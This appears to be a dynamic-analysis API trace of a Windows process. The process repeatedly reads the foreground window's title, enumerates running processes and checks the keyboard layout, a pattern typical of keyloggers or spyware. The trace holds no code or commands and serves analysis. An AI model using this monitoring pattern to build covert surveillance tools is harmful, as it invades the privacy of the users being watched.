[0220.930] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0220.930] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0220.985] GetForegroundWindow () returned 0x101a2
[0220.985] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0220.985] EnumProcesses (in: lpidProcess=0x2518934, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2518934, lpcbNeeded=0x4f8f87c) returned 1
[0220.985] GetLastError () returned 0x0
[0221.000] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0221.004] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0221.004] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.063] GetForegroundWindow () returned 0x101a2
[0221.063] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.125] GetForegroundWindow () returned 0x101a2
[0221.125] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.188] GetForegroundWindow () returned 0x101a2
[0221.188] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0221.252] GetForegroundWindow () returned 0x100f6
[0221.252] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0221.252] EnumProcesses (in: lpidProcess=0x2384960, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2384960, lpcbNeeded=0x4f8f87c) returned 1
[0221.253] GetLastError () returned 0x0
[0221.254] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0221.258] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0221.258] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0222.997] GetForegroundWindow () returned 0x101a2
[0222.998] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.060] GetForegroundWindow () returned 0x101a2
[0223.060] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.122] GetForegroundWindow () returned 0x101a2
[0223.122] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.184] GetForegroundWindow () returned 0x101a2
[0223.184] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.247] GetForegroundWindow () returned 0x100f6
[0223.247] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0223.247] EnumProcesses (in: lpidProcess=0x24589b0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24589b0, lpcbNeeded=0x4f8f87c) returned 1
[0223.247] GetLastError () returned 0x0
[0223.248] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3503010, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3503010, ResultLength=0x4f8f840*=0x8b68) returned 0x0
[0223.251] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0223.251] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0223.316] GetForegroundWindow () returned 0x101a2
[0223.316] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0223.316] EnumProcesses (in: lpidProcess=0x2469dac, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2469dac, lpcbNeeded=0x4f8f87c) returned 1
[0223.316] GetLastError () returned 0x0
[0223.317] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3523030, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3523030, ResultLength=0x4f8f840*=0x8b68) returned 0x0
[0223.320] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0223.320] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.371] GetForegroundWindow () returned 0x101a2
[0223.371] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.434] GetForegroundWindow () returned 0x101a2
[0223.434] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.498] GetForegroundWindow () returned 0x101a2
[0223.498] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.559] GetForegroundWindow () returned 0x100f6
[0223.559] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0223.559] EnumProcesses (in: lpidProcess=0x247ba10, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x247ba10, lpcbNeeded=0x4f8f87c) returned 1
[0223.559] GetLastError () returned 0x0
[0223.560] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3543050, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3543050, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0223.564] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0223.564] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0223.623] GetForegroundWindow () returned 0x101a2
[0223.624] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0223.624] EnumProcesses (in: lpidProcess=0x248cec8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x248cec8, lpcbNeeded=0x4f8f87c) returned 1
[0223.624] GetLastError () returned 0x0
[0223.624] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3563070, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3563070, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0223.627] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0223.627] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.684] GetForegroundWindow () returned 0x101a2
[0223.684] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.746] GetForegroundWindow () returned 0x101a2
[0223.746] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.809] GetForegroundWindow () returned 0x101a2
[0223.809] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.871] GetForegroundWindow () returned 0x100f6
[0223.871] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0223.871] EnumProcesses (in: lpidProcess=0x249eb88, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x249eb88, lpcbNeeded=0x4f8f87c) returned 1
[0223.875] GetLastError () returned 0x0
[0223.875] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3583090, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3583090, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0223.881] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0223.882] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0223.933] GetForegroundWindow () returned 0x101a2
[0223.933] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0223.933] EnumProcesses (in: lpidProcess=0x24b0040, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24b0040, lpcbNeeded=0x4f8f87c) returned 1
[0223.934] GetLastError () returned 0x0
[0223.934] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35a30b0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35a30b0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0223.938] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0223.938] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0223.996] GetForegroundWindow () returned 0x101a2
[0223.996] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.058] GetForegroundWindow () returned 0x101a2
[0224.058] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.120] GetForegroundWindow () returned 0x101a2
[0224.120] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.183] GetForegroundWindow () returned 0x100f6
[0224.183] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0224.183] EnumProcesses (in: lpidProcess=0x24c1d00, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24c1d00, lpcbNeeded=0x4f8f87c) returned 1
[0224.183] GetLastError () returned 0x0
[0224.184] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35c30d0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35c30d0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0224.188] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0224.188] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0224.245] GetForegroundWindow () returned 0x101a2
[0224.245] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0224.245] EnumProcesses (in: lpidProcess=0x24d31b8, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24d31b8, lpcbNeeded=0x4f8f87c) returned 1
[0224.246] GetLastError () returned 0x0
[0224.246] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x35e30f0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x35e30f0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0224.250] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0224.250] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.308] GetForegroundWindow () returned 0x101a2
[0224.308] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.370] GetForegroundWindow () returned 0x101a2
[0224.370] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.433] GetForegroundWindow () returned 0x101a2
[0224.433] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.495] GetForegroundWindow () returned 0x100f6
[0224.495] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0224.495] EnumProcesses (in: lpidProcess=0x24e4ecc, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24e4ecc, lpcbNeeded=0x4f8f87c) returned 1
[0224.495] GetLastError () returned 0x0
[0224.496] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3603110, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3603110, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0224.499] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0224.500] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0224.557] GetForegroundWindow () returned 0x101a2
[0224.557] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0224.557] EnumProcesses (in: lpidProcess=0x24f6384, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24f6384, lpcbNeeded=0x4f8f87c) returned 1
[0224.558] GetLastError () returned 0x0
[0224.558] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3623130, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3623130, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0224.562] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0224.562] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.619] GetForegroundWindow () returned 0x101a2
[0224.620] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.682] GetForegroundWindow () returned 0x101a2
[0224.682] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.745] GetForegroundWindow () returned 0x101a2
[0224.745] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.807] GetForegroundWindow () returned 0x100f6
[0224.807] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0224.807] EnumProcesses (in: lpidProcess=0x2508044, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2508044, lpcbNeeded=0x4f8f87c) returned 1
[0224.807] GetLastError () returned 0x0
[0224.820] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x32f3248, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x32f3248, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0224.825] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0224.825] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0224.885] GetForegroundWindow () returned 0x101a2
[0224.885] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0224.885] EnumProcesses (in: lpidProcess=0x2384134, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2384134, lpcbNeeded=0x4f8f87c) returned 1
[0224.885] GetLastError () returned 0x0
[0224.886] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3329a00, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3329a00, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0224.889] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0224.889] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0224.947] GetForegroundWindow () returned 0x101a2
[0224.947] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.009] GetForegroundWindow () returned 0x101a2
[0225.009] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.072] GetForegroundWindow () returned 0x101a2
[0225.072] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.134] GetForegroundWindow () returned 0x100f6
[0225.134] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0225.134] EnumProcesses (in: lpidProcess=0x2395df4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2395df4, lpcbNeeded=0x4f8f87c) returned 1
[0225.135] GetLastError () returned 0x0
[0225.135] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3349a20, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3349a20, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0225.138] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0225.138] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0225.199] GetForegroundWindow () returned 0x101a2
[0225.199] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0225.199] EnumProcesses (in: lpidProcess=0x23a72ac, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23a72ac, lpcbNeeded=0x4f8f87c) returned 1
[0225.199] GetLastError () returned 0x0
[0225.200] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33a1eb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33a1eb0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0225.204] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0225.204] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.259] GetForegroundWindow () returned 0x101a2
[0225.259] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.322] GetForegroundWindow () returned 0x101a2
[0225.322] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.384] GetForegroundWindow () returned 0x101a2
[0225.384] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.446] GetForegroundWindow () returned 0x100f6
[0225.446] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0225.446] EnumProcesses (in: lpidProcess=0x23b8fc0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23b8fc0, lpcbNeeded=0x4f8f87c) returned 1
[0225.447] GetLastError () returned 0x0
[0225.448] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33c1ed0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33c1ed0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0225.451] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0225.451] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0225.509] GetForegroundWindow () returned 0x101a2
[0225.509] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0225.509] EnumProcesses (in: lpidProcess=0x23ca478, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ca478, lpcbNeeded=0x4f8f87c) returned 1
[0225.509] GetLastError () returned 0x0
[0225.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x33e1ef0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x33e1ef0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0225.514] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0225.514] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.571] GetForegroundWindow () returned 0x101a2
[0225.571] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.633] GetForegroundWindow () returned 0x101a2
[0225.634] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.696] GetForegroundWindow () returned 0x101a2
[0225.696] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.758] GetForegroundWindow () returned 0x100f6
[0225.758] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0225.758] EnumProcesses (in: lpidProcess=0x23dc138, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23dc138, lpcbNeeded=0x4f8f87c) returned 1
[0225.759] GetLastError () returned 0x0
[0225.759] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3401f10, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3401f10, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0225.763] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0225.763] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0225.822] GetForegroundWindow () returned 0x101a2
[0225.823] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0225.823] EnumProcesses (in: lpidProcess=0x23ed5f0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ed5f0, lpcbNeeded=0x4f8f87c) returned 1
[0225.823] GetLastError () returned 0x0
[0225.824] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3421f30, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3421f30, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0225.829] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0225.829] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.884] GetForegroundWindow () returned 0x101a2
[0225.884] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0225.946] GetForegroundWindow () returned 0x101a2
[0225.946] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.009] GetForegroundWindow () returned 0x101a2
[0226.009] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.070] GetForegroundWindow () returned 0x100f6
[0226.070] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0226.070] EnumProcesses (in: lpidProcess=0x23ff2b0, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x23ff2b0, lpcbNeeded=0x4f8f87c) returned 1
[0226.071] GetLastError () returned 0x0
[0226.072] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3441f50, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3441f50, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0226.075] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0226.075] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0226.133] GetForegroundWindow () returned 0x101a2
[0226.133] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0226.133] EnumProcesses (in: lpidProcess=0x2410768, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2410768, lpcbNeeded=0x4f8f87c) returned 1
[0226.133] GetLastError () returned 0x0
[0226.134] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3461f70, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3461f70, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0226.138] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0226.138] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.195] GetForegroundWindow () returned 0x101a2
[0226.195] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.257] GetForegroundWindow () returned 0x101a2
[0226.258] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.321] GetForegroundWindow () returned 0x101a2
[0226.321] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.382] GetForegroundWindow () returned 0x100f6
[0226.382] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0226.382] EnumProcesses (in: lpidProcess=0x2422428, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2422428, lpcbNeeded=0x4f8f87c) returned 1
[0226.383] GetLastError () returned 0x0
[0226.383] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3482f90, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x3482f90, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0226.386] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0226.386] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0226.445] GetForegroundWindow () returned 0x101a2
[0226.445] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
[0226.445] EnumProcesses (in: lpidProcess=0x2433934, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x2433934, lpcbNeeded=0x4f8f87c) returned 1
[0226.446] GetLastError () returned 0x0
[0226.446] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34a2fb0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34a2fb0, ResultLength=0x4f8f840*=0x8ba8) returned 0x0
[0226.450] GetKeyboardLayout (idThread=0x760) returned 0x4090409
[0226.450] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.507] GetForegroundWindow () returned 0x101a2
[0226.507] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.569] GetForegroundWindow () returned 0x101a2
[0226.570] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.632] GetForegroundWindow () returned 0x101a2
[0226.632] GetWindowTextW (in: hWnd=0x101a2, lpString=0x67cc28, nMaxCount=256 | out: lpString="Spec Mls Apartments") returned 19
[0226.698] GetForegroundWindow () returned 0x100f6
[0226.698] GetWindowThreadProcessId (in: hWnd=0x100f6, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x568
[0226.698] EnumProcesses (in: lpidProcess=0x24455f4, cb=0x400, lpcbNeeded=0x4f8f87c | out: lpidProcess=0x24455f4, lpcbNeeded=0x4f8f87c) returned 1
[0226.699] GetLastError () returned 0x0
[0226.699] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x34c2fd0, Length=0x20000, ResultLength=0x4f8f840 | out: SystemInformation=0x34c2fd0, ResultLength=0x4f8f840*=0x8b68) returned 0x0
[0226.703] GetKeyboardLayout (idThread=0x568) returned 0x4090409
[0226.703] GetWindowTextW (in: hWnd=0x100f6, lpString=0x67cc28, nMaxCount=256 | out: lpString="FolderView") returned 10
[0226.757] GetForegroundWindow () returned 0x101a2
[0226.757] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x4f8f8c4 | out: lpdwProcessId=0x4f8f8c4) returned 0x760
